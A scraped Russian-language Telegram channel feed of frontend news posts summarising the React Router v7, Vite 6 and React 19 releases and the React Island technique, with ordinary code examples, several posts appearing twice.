- clientLoader – для предзагрузки данных на клиенте.
- action – вызывается на сервере при отправке формы, useSubmit или useFetcher.
- clientAction – такой же как action, но вызывается на клиенте.
- headers – для установки HTTP заголовков ответа.
А также handle, links, meta, shouldRevalidate.
https://reactrouter.com/
Вышел релиз React Router v7. В новой версии можно использовать React Router в двух вариантах: как полноценный фулстек фреймворк (типа Remix) через Vite или как раньше, как библиотеку для роутинга. Также в новой версии появилась поддержка SSG, улучшилась настройка роутинга через конфиг и улучшена типизация. Поддержка RSC будет позже, когда React 19 и Vite Environment API будут готовы.
При апгрейде на 7 версию нет критических изменений, если уже на 6ой версии включили флаги 7ой версии. Эти флаги позволяют обновить приложение на 7ую версию по шагам. В 7ой версии пакет с названием
react-router-dom больше не нужен, вместо него используйте пакет с названием react-router. Пример файла роутера при использовании React Router как фреймворк:
// app/routes.ts
import {
type RouteConfig,
route,
} from "@react-router/dev/routes";
export default [
route("teams/:teamId", "./team.tsx"),
// паттерн ^ ^ файл модуля
] satisfies RouteConfig;
Пример файла модуля:
// provides type safety/inference
import type { Route } from "./+types/team";
// provides `loaderData` to the component
export async function loader({ params }: Route.LoaderArgs) {
let team = await fetchTeam(params.teamId);
return { name: team.name };
}
// renders after the loader is done
export default function Component({
loaderData,
}: Route.ComponentProps) {
return <h1>{loaderData.name}</h1>;
}
В файле модуля можно экспортировать функции:
- loader – для предзагрузки данных на сервере.
- clientLoader – для предзагрузки данных на клиенте.
- action – вызывается на сервере при отправке формы, useSubmit или useFetcher.
- clientAction – такой же как action, но вызывается на клиенте.
- headers – для установки HTTP заголовков ответа.
А также handle, links, meta, shouldRevalidate.
https://reactrouter.com/
👍13👎3
Релиз Vite 6
Вышел релиз Vite 6 – самое значительное обновление после Vite 2. В новой версии появилось экспериментальное Environment API. Это новое API в основном предназначено для авторов фреймворков. С его помощью можно предлагать разрабатывать локально приложения в условиях приближенных к продакшену. Если вы разрабатываете SPA приложение, то для вас ничего не поменяется. Даже если вы разрабатываете SSR приложение, то Vite 6 имеет обратную совместимость. Основная целевая аудитория Environment API — авторы фреймворков.
Из других изменений – расширение HTML элементов, которые могут ссылаться на asset для обработки и бандлинга в Vite. Например, <audio src>, <video src> и другие.
Для большинства проектов обновление до 6ой версии не должно вызвать затруднений.
https://vite.dev/blog/announcing-vite6.html
Вышел релиз Vite 6 – самое значительное обновление после Vite 2. В новой версии появилось экспериментальное Environment API. Это новое API в основном предназначено для авторов фреймворков. С его помощью можно предлагать разрабатывать локально приложения в условиях приближенных к продакшену. Если вы разрабатываете SPA приложение, то для вас ничего не поменяется. Даже если вы разрабатываете SSR приложение, то Vite 6 имеет обратную совместимость. Основная целевая аудитория Environment API — авторы фреймворков.
Из других изменений – расширение HTML элементов, которые могут ссылаться на asset для обработки и бандлинга в Vite. Например, <audio src>, <video src> и другие.
Для большинства проектов обновление до 6ой версии не должно вызвать затруднений.
https://vite.dev/blog/announcing-vite6.html
👍19❤1
Как работает React Island
React Island – это подход внедрения React компонентов и даже целых приложений в статическую HTML страницу. Этот подход можно использовать для постепенного рефакторинга статического сайта или, если вы хотите добавить небольшую интерактивную часть на сайт, оставить все остальное как есть статическим.
Как это работает:
1) Рендерите HTML любым способом
2) Добавляете корневой div в HTML для React
3) Вызываете функцию
4) Рендерите небольшое React приложение в добавленный div элемент
React Island подойдет если у вас есть сайт, который рендерится статически через шаблонизатор. Автор предлагает не переписывать все сразу на React, т.к. на это может уйти много времени, а вместо этого делать постепенный рефакторинг. Либо оставить все как есть и добавлять небольшую интерактивность частями.
Для реализации подхода надо создать React компоненты и объявить в window поле для вызова функции рендера:
Через Vite нужно собрать файл reactIslands.js и добавить код в файл шаблонизатора рендера HTML страницы:
Как видите из примера выше, здесь используется jQuery и шаблонизатор Jinja. Начальные пропсы в React передаются с помощью шаблонизатора.
https://swizec.com/blog/the-anatomy-of-a-react-island/
React Island – это подход внедрения React компонентов и даже целых приложений в статическую HTML страницу. Этот подход можно использовать для постепенного рефакторинга статического сайта или, если вы хотите добавить небольшую интерактивную часть на сайт, оставить все остальное как есть статическим.
Как это работает:
1) Рендерите HTML любым способом
2) Добавляете корневой div в HTML для React
3) Вызываете функцию
4) Рендерите небольшое React приложение в добавленный div элемент
React Island подойдет если у вас есть сайт, который рендерится статически через шаблонизатор. Автор предлагает не переписывать все сразу на React, т.к. на это может уйти много времени, а вместо этого делать постепенный рефакторинг. Либо оставить все как есть и добавлять небольшую интерактивность частями.
Для реализации подхода надо создать React компоненты и объявить в window поле для вызова функции рендера:
const ReactIslands = {
amazingNewFeature: function amazingNewFeature(
element: HTMLDivElement,
props: AmazingNewFeatureProps
) {
createRoot(element).render(
<App>
<AmazingNewFeature {...props} />
</App>
);
},
};
window.ReactIslands = ReactIslands;
Через Vite нужно собрать файл reactIslands.js и добавить код в файл шаблонизатора рендера HTML страницы:
<script
type="module"
src="{{ url_for('static', filename='reactIslands.js') }}"
></script>
<script>
$(document).ready(function () {
window.ReactIslands.amazingNewFeature(
document.getElementById('amazing-new-feature'),
{
prop1: {{ value_from_server | tojson }},
prop2: {{ value_from_server | tojson }},
})
})
</script>
<div id="amazing-new-feature"></div>
Как видите из примера выше, здесь используется jQuery и шаблонизатор Jinja. Начальные пропсы в React передаются с помощью шаблонизатора.
https://swizec.com/blog/the-anatomy-of-a-react-island/
Swizec
The anatomy of a React Island | Swizec Teller
A coworker asked how React Islands work and I realized it's a technique I've been using to modernize monolithic web codebases for years, but never wrote down how it works.
👍12🔥4👎1
Релиз React 19
Вышла стабильная версия React 19. Что появилось нового:
⭐️ Actions
В React одним из основных кейсов использования является выполнение мутаций и обновление стейта в ответ. В React 19 добавили поддержку использования асинхронных функций в переходах для автоматической обработки стейта pending, ошибок, форм и оптимистичных обновлений.
По соглашению функции, использующие асинхронные переходы, называются «Actions». Новые хуки, которые относятся к «Actions»:
🔴 useActionState – новый хук для основных кейсов с «Actions». В Canary версии назывался useFormState. Принимает функцию «Action» и возвращает «Action» для композиции.
Возвращаемую функцию можно использовать как action в формах:
🔴 useFormStatus – хук для отслеживания стейта форма. Используется в дочерних компонентах формы. Заменяет проп-дриллинг и контекст. Хук читает стейт родительской формы:
🔴 useOptimistic – хук для оптимистического отображения финального состояния запроса.
🔴 use – хук для чтения ресурсов. Например, можно читать Promise и React вызовет Suspend пока промис не зарезолвится. Также можно читать значение контекста:
⭐️ Новые функции prerender и prerenderToNodeStream для генерации статики. Они предназначены для стриминга ответа через Node.js Streams и Web Streams. Пример:
⭐️ React Server Components. В React 19 включены все фичи серверных компонентов из Canary релиза, также есть Server Actions.
Улучшения в React 19:
⭐️ ref как проп. Больше не надо использовать forwardRef для прокидывания рефа:
⭐️ ref колбек может вернуть функцию очистки, которая вызовется когда элемент будет удален из DOM:
⭐️ Улучшенный отчет по ошибкам, например если произошла ошибка гидратации, то показывается дифф несоответствия.
⭐️ В React 19 можно использовать <Context> как провайдер вместо <Context.Provider>.
⭐️ Поддержка мета-тегов и тега style. Если добавить в компонент мета-теги или тег style, то React самостоятельно расположит их внутри head:
Это будет работать и с серверным рендерингом.
⭐️ Появилась возможность указать браузеру о необходимости предзагрузки ресурсов через функции preload, preinit, prefetchDNS, preconnect. Эти вызовы функции преобразуются в соответствующие теги предзагрузки link в head.
https://react.dev/blog/2024/12/05/react-19
Вышла стабильная версия React 19. Что появилось нового:
В React одним из основных кейсов использования является выполнение мутаций и обновление стейта в ответ. В React 19 добавили поддержку использования асинхронных функций в переходах для автоматической обработки стейта pending, ошибок, форм и оптимистичных обновлений.
По соглашению функции, использующие асинхронные переходы, называются «Actions». Новые хуки, которые относятся к «Actions»:
const [error, submitAction, isPending] = useActionState(
async (previousState, newName) => {
const error = await updateName(newName);
if (error) {
return error;
}
return null;
},
null,
);
Возвращаемую функцию можно использовать как action в формах:
<form action={submitAction}>
import {useFormStatus} from 'react-dom';
function DesignButton() {
const {pending} = useFormStatus();
return <button type="submit" disabled={pending} />
}
import {use} from 'react';
function Comments({commentsPromise}) {
const comments = use(commentsPromise);
return comments.map(comment => <p key={comment.id}>{comment}</p>);
}
import { prerender } from 'react-dom/static';
async function handler(request) {
const {prelude} = await prerender(<App />, {
bootstrapScripts: ['/main.js']
});
return new Response(prelude, {
headers: { 'content-type': 'text/html' },
});
}
Улучшения в React 19:
function MyInput({placeholder, ref}) {
return <input placeholder={placeholder} ref={ref} />
}
<MyInput ref={ref} />
<input
ref={(ref) => {
return () => {
// очистка
};
}}
/>
function BlogPost({post}) {
return (
<article>
<h1>{post.title}</h1>
<title>{post.title}</title>
<meta name="author" content="Josh" />
<link rel="author" href="https://twitter.com/joshcstory/" />
<link rel="stylesheet" href="foo" precedence="default" />
<meta name="keywords" content={post.keywords} />
</article>
);
}
Это будет работать и с серверным рендерингом.
https://react.dev/blog/2024/12/05/react-19
Please open Telegram to view this post
VIEW IN TELEGRAM
👍26🔥9❤5👎3